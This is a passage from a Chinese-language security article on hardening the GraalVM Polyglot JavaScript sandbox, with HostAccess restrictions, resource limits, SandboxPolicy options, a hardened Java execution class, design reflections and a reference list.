8.2 防御层2:HostAccess精细化控制

使用HostAccess.newBuilder()构建自定义策略,精确控制可访问的成员:

HostAccess customAccess = HostAccess.newBuilder()
    // 仅允许@Export标注的方法
    .allowAccessAnnotatedBy(HostAccess.Export.class)
    // 禁止所有public方法的默认访问(阻断getClass())
    .allowPublicAccess(false)
    // 禁止集合类型访问(阻断Map/List遍历)
    .allowArrayAccess(false)
    .allowListAccess(false)
    .allowMapAccess(false)
    .allowBufferAccess(false)
    .allowIterableAccess(false)
    .allowIteratorAccess(false)
    // 启用方法作用域(回调参数自动释放)
    .methodScoping(true)
    // 禁止继承访问(父类的@Export不自动对子类生效)
    .allowAccessInheritance(false)
    // 仅允许标注了@Implementable的接口被实现
    .allowImplementationsAnnotatedBy(HostAccess.Implementable.class)
    .build();

8.3 防御层3:ResourceLimits防DoS

import org.graalvm.polyglot.ResourceLimits;

ResourceLimits limits = ResourceLimits.newBuilder()
    // 限制语句执行次数(防止无限循环)
    .statementLimit(100_000, null)
    .build();

Context context = Context.newBuilder("js")
    .resourceLimits(limits)
    // ... 其他配置
    .build();

8.4 防御层4:SandboxPolicy(GraalVM 23.0+)

GraalVM 23.0引入了SandboxPolicy枚举,提供预验证的安全配置集。使用它可以避免配置遗漏:

import org.graalvm.polyglot.SandboxPolicy;

ByteArrayOutputStream out = new ByteArrayOutputStream();
ByteArrayOutputStream err = new ByteArrayOutputStream();

Context context = Context.newBuilder("js")
    .sandbox(SandboxPolicy.UNTRUSTED)          // 最严格的策略
    .out(out)                                   // 必须重定向stdout
    .err(err)                                   // 必须重定向stderr
    .option("engine.MaxIsolateMemory", "256MB")
    .option("sandbox.MaxHeapMemory", "128MB")
    .option("sandbox.MaxCPUTime", "5s")
    .option("sandbox.MaxASTDepth", "100")
    .option("sandbox.MaxStackFrames", "50")
    .option("sandbox.MaxThreads", "1")
    .option("sandbox.MaxOutputStreamSize", "1MB")
    .option("sandbox.MaxErrorStreamSize", "1MB")
    .build();

8.5 安全加固代码

SecureSandboxEngine.java

package com.security.research;

import org.graalvm.polyglot.*;
import java.io.ByteArrayOutputStream;
import java.nio.charset.StandardCharsets;
import java.util.concurrent.*;

public class SecureSandboxEngine {

    // 安全的HostAccess策略
    private static final HostAccess SAFE_ACCESS = HostAccess.newBuilder()
        .allowAccessAnnotatedBy(HostAccess.Export.class)
        .allowPublicAccess(false)
        .allowArrayAccess(false)
        .allowListAccess(false)
        .allowMapAccess(false)
        .allowBufferAccess(false)
        .allowIterableAccess(false)
        .allowIteratorAccess(false)
        .methodScoping(true)
        .allowAccessInheritance(false)
        .build();

    public record ScriptResult(
        boolean success,
        String output,
        String error,
        String returnValue
    ) {}

    public static ScriptResult executeScript(
            String userScript,
            long timeoutMs) {

        ByteArrayOutputStream stdout = new ByteArrayOutputStream();
        ByteArrayOutputStream stderr = new ByteArrayOutputStream();
        ScriptHelper helper = new ScriptHelper();

        ExecutorService executor = Executors.newSingleThreadExecutor();
        Future<String> future = null;
        Context context = null;

        try {
            context = Context.newBuilder("js")
                .allowHostAccess(SAFE_ACCESS)
                .allowHostClassLookup(s -> false)
                .allowHostClassLoading(false)
                .allowIO(IOAccess.NONE)
                .allowCreateThread(false)
                .allowNativeAccess(false)
                .allowCreateProcess(false)
                .allowPolyglotAccess(PolyglotAccess.NONE)
                .allowEnvironmentAccess(EnvironmentAccess.NONE)
                .allowValueSharing(false)
                .allowExperimentalOptions(false)
                .out(stdout)
                .err(stderr)
                .resourceLimits(
                    ResourceLimits.newBuilder()
                        .statementLimit(100_000, null)
                        .build()
                )
                .build();

            context.getBindings("js").putMember("scriptHelper", helper);

            final Context ctx = context;
            future = executor.submit(() -> {
                Value result = ctx.eval("js", userScript);
                return result.isNull() ? "null" : result.toString();
            });

            String result = future.get(timeoutMs, TimeUnit.MILLISECONDS);

            return new ScriptResult(
                true,
                stdout.toString(StandardCharsets.UTF_8),
                stderr.toString(StandardCharsets.UTF_8),
                result
            );

        } catch (TimeoutException e) {
            if (future != null) future.cancel(true);
            return new ScriptResult(false, "", "Script execution timed out", null);
        } catch (ExecutionException e) {
            String msg = e.getCause() != null
                ? e.getCause().getClass().getSimpleName()  // 不暴露详细信息
                : "Unknown error";
            return new ScriptResult(false, "", "Script error: " + msg, null);
        } catch (Exception e) {
            return new ScriptResult(false, "", "Internal error", null);
        } finally {
            if (context != null) {
                try { context.close(true); } catch (Exception ignored) {}
            }
            executor.shutdownNow();
        }
    }
}

该加固版本的安全设计要点:

  • 自定义HostAccess:显式禁用了所有集合访问和public方法访问,彻底切断getClass()反射链
  • 超时控制:通过ExecutorService + Future.get(timeout)实现硬超时
  • 输出隔离:stdout/stderr重定向到ByteArrayOutputStream,防止直接写入系统流
  • 资源限制:通过ResourceLimits.statementLimit防止无限循环
  • 异常信息脱敏:catch块中仅返回异常类名,不暴露详细堆栈或内部信息
  • 强制清理:finally块中确保Context关闭和线程池销毁

9 技术思考与感悟

  • ​GraalVM Polyglot的安全问题,本质上是一个信任边界管理问题。传统的单语言沙箱(如Java的SecurityManager、JavaScript的iframe sandbox)只需要管理一种语言的对象模型和权限体系。而多语言运行时面临的挑战是:需要在多种语言的对象模型之间建立一致的、不可绕过的访问控制。
  • 每增加一种语言,攻击面就呈指数增长——因为需要防御的不仅是每种语言内部的逃逸,还包括语言之间的边界穿越。GraalVM在这方面做了大量工作(Truffle框架的InteropLibrary、HostAccess策略等),但最终的安全性仍然高度依赖于应用开发者的正确使用。
  • 即使所有阀门都正确设置,通过putMember()注入的Java对象本身就是管道系统中的一个旁路通道。对象携带的方法、返回值、异常信息都是潜在的信息和权限泄露点。沙箱的安全性不等于Context配置的安全性,还必须包括暴露对象的安全设计。

​

参考文献

来源

说明

Oracle GraalVM Security Guide

GraalVM官方安全指南,包含SandboxPolicy和HostAccess的详细说明

GraalVM Polyglot API Javadoc

org.graalvm.polyglot

包的完整API文档

CVE-2022-21597

Oracle GraalVM Enterprise Edition JavaScript组件信息泄露漏洞

Truffle Language Implementation Framework

GraalVM语言实现框架文档,包含InteropLibrary的安全模型

Thomas Würthinger et al., "One VM to Rule Them All"

GraalVM/Truffle架构的学术论文,Onward! 2013

GraalVM GitHub Repository — Security Advisories

oracle/graal 仓库的安全公告页面

Oracle Critical Patch Updates

Oracle季度安全更新公告,包含GraalVM相关CVE修复信息

JEP 411: Deprecate the Security Manager for Removal

SecurityManager废弃提案,讨论了JVM安全模型的未来方向

​

本文仅用于安全研究与教育目的,所有实验均在本地隔离环境中进行。

未经授权,请勿将本文所述技术用于任何非法用途。